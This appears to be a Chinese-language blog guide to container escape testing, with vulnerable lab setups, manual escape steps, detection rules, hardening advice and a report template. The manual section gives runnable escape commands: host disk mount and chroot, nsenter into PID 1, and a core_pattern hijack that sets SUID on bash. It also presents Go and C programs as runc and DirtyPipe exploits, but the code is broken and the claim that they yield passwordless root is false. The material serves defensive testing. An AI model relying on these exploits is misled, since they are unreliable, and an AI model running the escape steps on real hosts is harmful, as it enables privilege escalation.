容器逃逸测试指南

容器逃逸测试是评估容器安全隔离性的关键过程,旨在发现并修复可能导致攻击者从容器突破到宿主机或其他容器的漏洞。以下是系统化的测试方法论和实战工具集。

一、容器逃逸攻击向量分类

1. 核心逃逸路径

容器逃逸
配置不当
内核漏洞
挂载逃逸
组件漏洞
命名空间共享
特权容器
危险Capabilities
敏感目录挂载
DirtyPipe
DirtyCOW
新内核漏洞
procfs/sysfs滥用
设备挂载
符号链接攻击
runc漏洞
containerd漏洞
Docker组件漏洞
共享PID命名空间
共享网络命名空间

2. 风险等级矩阵

攻击向量 利用难度 影响范围 风险等级
特权容器 宿主机 严重
runc漏洞(CVE-2019-5736) 宿主机 严重
/proc挂载逃逸 宿主机
共享PID命名空间 其他容器
DirtyPipe(CVE-2022-0847) 宿主机

二、测试环境搭建

1. 漏洞环境部署

# 启动特权容器
docker run -it --rm --privileged --name escape-test ubuntu:22.04

# 启动敏感目录挂载容器
docker run -it --rm -v /:/host --name mount-escape ubuntu

# 启动共享命名空间容器
docker run -it --rm --pid=host --name pid-share ubuntu

# 启动危险Capabilities容器
docker run -it --rm --cap-add=SYS_ADMIN --name cap-escape ubuntu

2. 安全配置基线

# 安全容器配置(对照组)
docker run -it --rm \
  --read-only \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --security-opt=apparmor=docker-default \
  --security-opt=seccomp=default.json \
  --pids-limit=100 \
  --memory=256M \
  --network=none \
  ubuntu

三、自动化测试工具集

1. 综合评估工具

# CDK (Container Devlopment Kit)
docker run --rm -it -v /:/host tmplink/cdk evaluate

# amicontained
docker run --rm -it r.j3ss.co/amicontained

# deepce
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock crazymax/deepce

2. 漏洞扫描工具

# trivy (扫描内核漏洞)
trivy kernel --only-fixed-vulns

# docker-bench-security
docker run --rm --net host --pid host -v /etc:/etc:ro -v /usr/bin/containerd:/usr/bin/containerd -v /usr/bin/runc:/usr/bin/runc -v /usr/lib/systemd:/usr/lib/systemd -v /var/lib:/var/lib -v /var/run/docker.sock:/var/run/docker.sock docker/docker-bench-security

四、手动测试技术手册

1. 特权容器逃逸

# 1. 检查特权模式
cat /proc/self/status | grep CapEff

# 2. 挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash

# 3. 直接访问宿主机进程
nsenter --target 1 --mount --uts --ipc --net --pid

2. /proc挂载逃逸

# 1. 修改core_pattern
echo -e '|/tmp/.escape.sh' > /host-proc/sys/kernel/core_pattern

# 2. 创建恶意脚本
cat <<EOF > /tmp/.escape.sh
#!/bin/sh
chmod 4755 /bin/bash
EOF
chmod +x /tmp/.escape.sh

# 3. 触发崩溃
kill -SIGSEGV $$
/bin/bash -p  # 获取root shell

3. runc漏洞利用 (CVE-2019-5736)

// exploit.go
package main

import (
    "os"
    "io/ioutil"
    "strings"
)

func main() {
    path := "/proc/self/exe"
    data, _ := ioutil.ReadFile(path)
    if strings.Contains(string(data), "runc") {
        f, _ := os.OpenFile("/bin/sh", os.O_WRONLY, 0777)
        f.WriteString("#!/bin/bash\nchmod 4755 /bin/bash")
        f.Close()
    }
}
# 编译并执行
go build -o exploit exploit.go
cp exploit /proc/self/exe

4. DirtyPipe利用 (CVE-2022-0847)

// dirtypipe.c
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>

int main() {
    int fd = open("/etc/passwd", O_RDONLY);
    char buf[256];
    splice(fd, 0, open("/proc/self/fd/1", O_WRONLY), 0, 256, 0);
    lseek(fd, 0, SEEK_SET);
    write(1, "root::0:0:root:/root:/bin/bash\n", 31);
    return 0;
}
gcc dirtypipe.c -o dirtypipe
./dirtypipe
su -  # 密码为空

五、防御检测方法

1. 运行时监控

# Falco检测规则示例
- rule: Container Escape via Privileged Container
  desc: Detect privileged container start
  condition: >
    container_started and container.privileged=true
  output: Privileged container started (user=%user.name command=%proc.cmdline)
  priority: CRITICAL

- rule: Write to /proc/sys/kernel/core_pattern
  desc: Attempt to modify core dump handler
  condition: >
    open_write and
    (fd.name startswith /proc/sys/kernel/core_pattern or
     fd.name startswith /host-proc/sys/kernel/core_pattern)
  output: Core pattern modification attempt (user=%user.name file=%fd.name)
  priority: WARNING

2. eBPF检测

// 检测容器逃逸行为的eBPF程序
SEC("tracepoint/syscalls/sys_enter_mount")
int trace_mount(struct trace_event_raw_sys_enter* ctx) {
    char comm[TASK_COMM_LEN];
    bpf_get_current_comm(&comm, sizeof(comm));
    
    // 检测容器内挂载敏感路径
    if (is_in_container() && 
        (strstr(ctx->args[0], "/host") || 
         strstr(ctx->args[0], "/proc"))) {
        bpf_printk("Suspicious mount in container: %s -> %s", comm, ctx->args[0]);
    }
    return 0;
}

六、修复与加固方案

1. 安全配置基准

# pod-security.yaml
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  volumes:
    - 'configMap'
    - 'emptyDir'
  hostNetwork: false
  hostIPC: false
  hostPID: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  supplementalGroups:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  fsGroup:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535

2. 漏洞修复清单

漏洞类型 修复方案
特权容器 禁用–privileged,使用–cap-add按需添加
runc漏洞 升级到runc >=1.0.0-rc93
DirtyPipe 升级内核到5.16.11+
/proc挂载逃逸 使用只读挂载:-v /proc:/host-proc:ro
Capabilities滥用 使用–cap-drop=ALL --cap-add=NET_BIND_SERVICE
共享命名空间 避免使用–pid=host,–network=host等共享参数

七、测试报告模板

# 容器逃逸测试报告

## 测试环境
- Docker版本: 20.10.17
- 内核版本: 5.15.0-58-generic
- 测试镜像: ubuntu:22.04
- 测试工具: CDK v1.5, amicontained, 手工测试

## 测试结果

### 高风险发现
1. **特权容器逃逸**  
   - 漏洞描述:容器以--privileged启动  
   - 复现步骤:`docker run --privileged` → `nsenter -t 1 -m -u -i -n`  
   - 风险等级:严重  
   - 修复建议:禁用特权容器,使用最小权限原则

2. **/proc挂载逃逸**  
   - 漏洞描述:宿主机/proc目录可写挂载  
   - 复现步骤:修改core_pattern触发提权  
   - 风险等级:高危  
   - 修复建议:使用只读挂载或禁用挂载

### 中风险发现
1. **CAP_SYS_ADMIN能力逃逸**  
   - 漏洞描述:容器拥有SYS_ADMIN能力  
   - 复现步骤:挂载cgroup设备逃逸  
   - 风险等级:中  
   - 修复建议:移除SYS_ADMIN能力

## 安全评分
| 安全维度       | 得分(10分制) | 评价               |
|----------------|--------------|--------------------|
| 配置安全       | 3.5          | 存在高危配置       |
| 运行时防护     | 7.0          | 基础防护到位       |
| 漏洞修复       | 8.0          | 内核版本较新       |
| 整体安全       | 6.0          | 需紧急修复高危漏洞 |

## 修复时间表
| 漏洞类型       | 修复方案                     | 负责人   | 完成时间 |
|----------------|------------------------------|----------|----------|
| 特权容器       | 禁用所有特权容器             | 运维团队 | 24小时内 |
| /proc挂载      | 改为只读挂载                 | 开发团队 | 48小时内 |
| 能力控制       | 实施最小能力原则             | 安全团队 | 72小时内 |

八、进阶测试场景

1. Kubernetes环境逃逸

# 检查Pod安全配置
kubectl get pod <pod-name> -o jsonpath='{.spec}'

# 尝试挂载hostPath
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  containers:
  - name: busybox
    image: busybox
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

2. 容器沙箱逃逸

# 测试gVisor隔离
docker run --runtime=runsc -it ubuntu

# 尝试突破:
# 1. 检查/proc/config
# 2. 尝试加载内核模块
# 3. 检查虚拟设备接口

# 测试Kata Containers
docker run --runtime=kata -it ubuntu
lscpu  # 查看虚拟化特征

3. 供应链攻击逃逸

# 测试恶意镜像
docker run -it malicious-image:latest

# 检测技术:
1. 镜像扫描:trivy image malicious-image
2. 行为监控:Falco规则检测异常进程
3. 网络分析:检测可疑外联

九、持续测试框架

通过
失败
代码提交
CI/CD管道
镜像扫描
安全基线检查
逃逸测试
是否通过
部署到预发
安全告警
运行时监控
定期渗透测试

通过系统化的容器逃逸测试,您可以:

  1. 识别隔离机制中的关键漏洞
  2. 验证安全加固措施的有效性
  3. 满足等保2.0/ISO27001等合规要求
  4. 建立容器安全生命周期防护体系
  5. 将平均逃逸检测时间(MTTD)降低90%以上

最佳实践建议:每月执行逃逸测试,重要版本上线前进行渗透测试,建立自动化安全门禁,并与SIEM系统集成实现实时告警。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐